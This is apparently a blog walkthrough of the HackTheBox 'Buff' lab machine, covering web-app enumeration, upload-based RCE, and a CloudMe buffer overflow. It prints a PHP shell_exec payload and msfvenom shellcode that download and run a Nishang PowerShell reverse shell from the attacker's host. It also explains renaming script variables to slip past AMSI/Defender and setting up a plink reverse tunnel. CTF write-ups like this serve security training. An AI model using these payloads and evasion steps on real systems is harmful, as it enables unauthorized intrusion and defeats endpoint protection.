HackTheBox - Buff
0. Preface
Due to Windows Defender/AMSI, we are now having to mask malicious PowerShell scripts, even though it was uploaded using IEX. I also spent quite a bit of time experimenting with different buffer overflow POCs, but eventually got the right one.
In this box, we will be tackling:
- Careful reading and exploiting a web application for RCE
- Masking malicious PowerShell scripts to get past Windows AMSI
- BUFFer overflow on CloudMe
1. Preliminary NMAP Scan
sudo nmap -sC -sV -oN nmap.txt -p- 10.10.10.198 -v
Only two ports are open here. Port 8080 seems to be running a web server on Apache. Port 7680 seems to be running pando-pub, a file transfer service of some kind.
Let’s first check out the web server on port 8080.
2. Web Server RCE Exploit
So we get to this gym website. Let’s try SQL injection on the login username and password on the top right.
We don’t get any useful results out of that, so let’s move on to running gobuster
.
gobuster dir -u http://10.10.10.198:8080 -x php -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt -t 50
Checking out some of these subdirectories, there’s nothing really useful that we are able to use.
On further examination of the website, we will see that this website is a Gym Management Software v1.0 made by projectworlds.in
.
A quick Google search nets us this unauthenticated RCE exploit. As per the instructions in the comments of the code, it breaks down how the exploit works.
TL;DR:
- Navigate to
/upload.php?id=filename
. - Upload an image with a double extension, e.g.
file.php.png
. - Add the malicious php code to the file.
- Navigate to
/upload/filename.php
to trigger the script.
Let’s get to work.
First, we navigate to http://10.10.10.198:8080/upload.php?id=pwned
. Next, we create a POST request to http://10.10.10.198:8080/upload.php?id=pwned
and proxy that to Burpsuite.
Here’s what the POST request looks like:
Now, we can navigate to http://10.10.10.198:8080/upload/pwned.php
to trigger the script.
This looks like a Windows 10 machine running a XAMPP stack. Now we know that we can use PowerShell to get us a reverse shell instead.
3. PowerShell Reverse Shell
There’s a collection of really nice framework/tools called Nishang, which is primarily used for pentesting Windows machines.
We will be using Invoke-PowerShellTcp.ps1
to get our reverse shell. First, however, we need to remove the help content (the stuff before the Invoke-PowerShellTcp()
function) and rename the variables inside the script so it doesn’t get blocked by Windows AMSI when we try to run it.
You can replace the variables (the ones prepended with $
) with anything.
Let’s add the following line to the bottom of the PowerShell script so it automatically triggers the moment the script is uploaded.
cb -rev -IPAddress 10.10.14.43 -Port 8888
The Invoke-PowerShellTcp()
function has been replaced with cb()
, and the -Reverse
flag has been replaced with -rev
. All the rest of the variables are replaced with garbage.
Next, let’s append the following into the POST request in the place of phpinfo()
.
<?php echo shell_exec("powershell -noni -nop -ep bypass -c iex (new-object net.webclient).downloadstring('http://10.10.14.43:8888/Invoke-PowerShellTcp.ps1') 2>&1 "); ?>
What this does is it downloads the script from our machine, then executes the script in memory. Do remember to setup a Netcat listener as well as a python3 http.server before triggering this.
Let’s grab the user flag on the desktop first.
4. Further Enumeration, Buffer Overflow
Now let’s start enumerating this. Checking out the Program Files
and Program Files (x86)
folders, we don’t see much of use. CUAssistant has a vulnerability that is exploitable, but our user does not have rights to write to C:\
, so we can’t make use of that.
Moving on, we find CloudMe_1112.exe
inside Shaun’s downloads folder.
There is a buffer overflow exploit available here. Since CloudMe listens on port 8888, let’s first confirm that the service is alive by running netstat -ano | findstr 8888
.
Since the service is only listening on localhost, we will need to use plink
to tunnel the traffic back to our machine, so that we can access that service as localhost.
First we need to upload plink.exe
to the machine using Invoke-WebRequest
, then run the following command.
echo y | .\plink.exe 10.10.14.43 -P 9922 -l kali -pw 'REDACTEDPASSWORD' -R 4545:127.0.0.1:8888
Note that the echo y
is to allow plink.exe
to add the SSH host key of your machine to SSH’s cache. If echo y
is not passed into plink.exe
, it is likely that the reverse tunnel will not work.
After running plink.exe
, do note that you will no longer be able to enter commands in the remote machine as you will enter an SSH session with your Kali machine.
Press Ctrl+C to send SIGINT and trigger the reverse shell again. The SSH tunnel should still be alive. We can check using netstat
on the Kali machine.
netstat -antp | grep 4545
Before we proceed further, if you have not done reverse SSH tunneling before and find the above confusing, I recommend watching this video by VbScrub to better understand the concept.
Next, to prove that the exploit works, let us replace the calc.exe
shellcode with a shellcode that executes notepad.exe
instead. The reasoning behind this is that calc.exe
in Windows 10 will call a UWP app, which may be stripped from the installation. Notepad.exe
is a safer alternative to test with.
msfvenom -a x86 -p windows/exec CMD=notepad.exe -b '\x00\x0A\x0D' -f python -o shellcode
Before running the exploit, we will change the target port inside the python exploit code to 4545. This will run the exploit on localhost:4545
, which will then get tunneled over SSH to the remote machine on localhost:8888
.
Let’s run the exploit with python2 exploit.py
, then go over to the remote machine and run Get-Process notepad
. We should see a notepad process running.
Awesome.
Now we are ready to replace the shellcode with a reverse shell. We can make use of the same Nishang Invoke-PowerShellTcp.ps1
script. As before, we can download and run the script in memory.
Generate the shellcode using the following, and replace it in exploit.py
.
msfvenom -a x86 -p windows/exec CMD="powershell -noni -nop -ep bypass -c iex (New-Object Net.WebClient).DownloadString('http://10.10.14.43:8888/Invoke-PowerShellTcp.ps1')" -b '\x00\x0A\x0D' -f python -o pwsh_shellcode
Now, start a Netcat listener on port 8000, and a python3 http.server on port 8888. Now, run the exploit again using python2 exploit.py
and wait a bit for the reverse shell.
And we have rooted the machine.